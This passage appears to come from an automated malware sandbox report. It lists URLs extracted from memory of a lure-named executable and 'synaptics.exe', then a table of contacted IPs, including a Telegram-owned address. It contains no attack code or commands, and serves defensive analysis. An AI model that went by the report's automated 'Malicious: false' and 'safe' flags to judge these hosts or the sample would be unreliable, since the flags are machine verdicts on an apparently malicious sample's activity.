http://blog.kowalczyk.info/software/sumatrapdf/translations.htmlContribute	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://foo.com:/	synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://william.famille-blum.org/William	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://tools.ietf.org/html/rfc3986#section-3.3	synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cl.cam.ac.uk/~mgk25/ih	synaptics.exe, 00000019.00000003.2716324586.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2706771906.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714294848.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2715096502.0000000001735000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.cookielaw.org/	synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_13)	synaptics.exe, 00000019.00000003.2716324586.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2717757710.000000000173F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mupdf.comMuPDFpdf	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://tools.ietf.org/html/rfc7230#section-3.2)	synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/mail	synaptics.exe, 00000019.00000003.2804587501.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2783021414.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784456273.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2790722943.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2781673691.0000000001A86000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	synaptics.exe, 00000019.00000003.2790199324.00000000014AF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2788238801.0000000001909000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/)	synaptics.exe, 00000019.00000003.2654188071.0000000000976000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2654060898.00000000008FD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	synaptics.exe, 00000019.00000003.2696381715.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2696381715.000000000146F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2706771906.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698373345.000000000173F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	synaptics.exe, 00000019.00000003.2784016095.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2786156442.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 0000001E.00000003.2783270880.00000000042C5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2791	synaptics.exe, 00000019.00000003.2781046487.000000000190F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782884251.00000000016C6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782184289.000000000194C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/	synaptics.exe	false		high
http://www.zeniko.ch/#SumatraPDFSimon	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://mahler:8092/site-updates.py	synaptics.exe, 00000019.00000003.2688583316.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2662452927.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2669306507.0000000001409000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2682103069.0000000001408000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2684963225.0000000001404000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2726548677.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2685875862.000000000140A000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2788914234.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2701716589.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2817799026.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2777848553.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2747843864.0000000001401000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2802038250.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698081657.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2787982060.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2670478143.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2798584407.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2693477454.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2712213460.0000000001404000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2758919587.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2661956145.000000000142C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/259174/	synaptics.exe, 00000019.00000003.2678245333.000000000144E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2677158877.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2671178278.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2676891005.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org/download/releases/2.3/mro/.	synaptics.exe, 00000019.00000003.2671178278.0000000001424000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2670478143.0000000001421000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2671694729.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2672209190.0000000001401000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/post	synaptics.exe	false		high
http://itexmac.sourceforge.net/SyncTeX.htmlJ	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://erickt.github.io/blog/2014/11/19/adventures-in-debugging-a-potential-osx-kernel-bug/	synaptics.exe, 00000019.00000003.2781046487.000000000190F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782884251.00000000016C6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784343702.0000000001909000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2786806964.0000000001909000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Ousret/charset_normalizer	synaptics.exe	false		high
https://github.com/urllib3/urllib3/issues/651	synaptics.exe, 00000019.00000003.2781046487.000000000190F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2791010982.0000000001909000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782884251.00000000016C6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784343702.0000000001909000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2786806964.0000000001909000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2788238801.0000000001909000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html	synaptics.exe, 00000019.00000003.2786306523.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2781046487.000000000190F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782884251.00000000016C6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782184289.000000000194C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue16298)	synaptics.exe, 00000019.00000003.2784016095.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hg.python.org/cpython/file/7aaba721ebc0/Lib/socket.py#l252	synaptics.exe, 00000019.00000003.2781046487.000000000190F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782884251.00000000016C6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784343702.0000000001909000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	false		high
http://p.yusukekamiyamane.com/Yusuke	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://mailto:EmbeddedFilesTypeFilespecD%s%dR%s%sA%s%sKids.seen.seen.seenNumsSPStD%s.%d:%d:%dInfoPag	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlLicensed	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://www.freetype.org/FreeTypefont	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	synaptics.exe, 00000019.00000003.2786306523.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2715525471.0000000000924000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2767994349.0000000001A99000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716717734.0000000001748000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2770389333.0000000001A8E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2756734582.0000000001A99000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714294848.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716324586.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2801095074.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716324586.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2715688704.0000000000925000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2757467562.0000000001A9C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2715798523.0000000001A9F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2760858496.0000000001A99000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716937718.00000000014CA000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2816004533.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2804587501.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2766115572.0000000001A8E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2783021414.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714294848.0000000001735000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784456273.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/	synaptics.exe, synaptics.exe, 00000019.00000003.2817335724.0000000001746000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2793584714.000000000173F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2802940588.0000000001745000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2805490693.0000000001746000.00000004.00000020.00020000.00000000.sdmp	false		high
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	synaptics.exe, 00000019.00000003.2747941433.0000000001687000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	synaptics.exe, synaptics.exe, 00000019.00000003.2817335724.0000000001746000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2793584714.000000000173F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2802940588.0000000001745000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784016095.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2786156442.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2805490693.0000000001746000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 0000001E.00000003.2783270880.00000000042C5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pkware.com/documents/casestudies/APPNOTE.TXT	synaptics.exe, 00000019.00000003.2796875448.0000000001675000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iana.org/time-zones/repository/tz-link.html	synaptics.exe, 00000019.00000003.2696381715.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2726548677.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2723372248.0000000001418000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2702565747.0000000001469000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2777848553.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2712213460.0000000001427000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2703826004.0000000001A72000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2704863098.0000000001427000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2704863098.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698505388.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2702565747.0000000001427000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2747843864.0000000001401000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698081657.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2710269576.0000000001427000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698505388.0000000001414000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2700903482.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714548577.000000000141C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2778035451.0000000001414000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2719763961.0000000001414000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2758919587.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698081657.0000000001469000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cn.haihaisoft.com/%E6%B5%B7%E6%B5%B7%E8%BD%AF%E4%BB%B6PDF%E9%98%85%E8%AF%BB%E5%99%A8.aspxopen	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://requests.readthedocs.io	synaptics.exe	false		high
http://cn.haihaisoft.comhttp://www.haihaisoft.comcnhttp://cn.haihaisoft.com/%E6%B5%B7%E6%B5%B7%E8%BD	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://blog.kowalczyk.infoKrzysztof	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://www.haihaisoft.comSumatraPDF	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm	synaptics.exe, 00000019.00000003.2678245333.000000000144E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2677158877.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2671178278.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2676891005.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue29585	synaptics.exe, 00000019.00000003.2654188071.0000000000976000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://mail.python.org/pipermail/python-bugs-list/2001-January/003752.html	synaptics.exe, 00000019.00000003.2693180646.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2691779594.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2691779594.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org	synaptics.exe	false		high
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	synaptics.exe, 00000019.00000003.2799507572.00000000018DB000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2802940588.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2799932465.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.haihaisoft.comlibmupdf.pdbSumatraPDF.pdbSumatraPDF-prereleaseSumatraPDF.pdbSumatraPDF-1.5	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/	synaptics.exe, 00000019.00000003.2688583316.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2662452927.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2669306507.0000000001409000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2682103069.0000000001408000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2684963225.0000000001404000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2726548677.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2685875862.000000000140A000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2788914234.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2701716589.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2817799026.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2777848553.00000000013F9000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2747843864.0000000001401000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2802038250.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698081657.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2787982060.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2670478143.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2798584407.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2693477454.000000000140C000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2712213460.0000000001404000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2758919587.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2661956145.000000000142C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://json.org	synaptics.exe	false		high
https://www.python.org/dev/peps/pep-0205/	synaptics.exe, 00000019.00000003.2726548677.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2724456470.000000000145E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2750127539.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2724174957.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2752520381.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap04.html#tag_04_11	synaptics.exe, 00000019.00000003.2790722943.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.drm-x.com/pdfversion.htm1.5.7.0..http://www.haihaisoft.com/PDF_Reader_download.aspxopenSo	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://bugs.python.org/	synaptics.exe, 00000019.00000003.2721260976.0000000001464000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2714548577.0000000001469000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2712506802.0000000001468000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2710269576.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2710952362.000000000145E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2716937718.0000000001469000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2707213086.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2708288988.0000000001467000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2718243252.0000000001469000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dz8aopenkvv6s.cloudfront.net	synaptics.exe, 00000019.00000003.2760329016.0000000001947000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2746680853.0000000001747000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2745854297.0000000001746000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2747941433.0000000001687000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/	synaptics.exe	false		high
https://google.com/mail/	synaptics.exe	false		high
http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html	synaptics.exe, 00000019.00000003.2678245333.000000000144E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2677158877.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2671178278.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2676891005.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/sethmlarson/selectors2/blob/master/selectors2.py	synaptics.exe, 00000019.00000003.2696545715.00000000008E4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2699822723.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0Digitized	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://bugs.python.org/issue874900	synaptics.exe, 00000019.00000003.2771140876.00000000018D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.winimage.com/zLibDllbad	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
23.218.232.159	unknown	United States	24835	RAYA-ASEG	false
184.28.88.176	unknown	United States	16625	AKAMAI-ASUS	false
2.23.197.184	unknown	European Union	1273	CWVodafoneGroupPLCEU	false
208.95.112.1	unknown	United States	53334	TUT-ASUS	false
149.154.167.220	unknown	United Kingdom	62041	TELEGRAMRU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
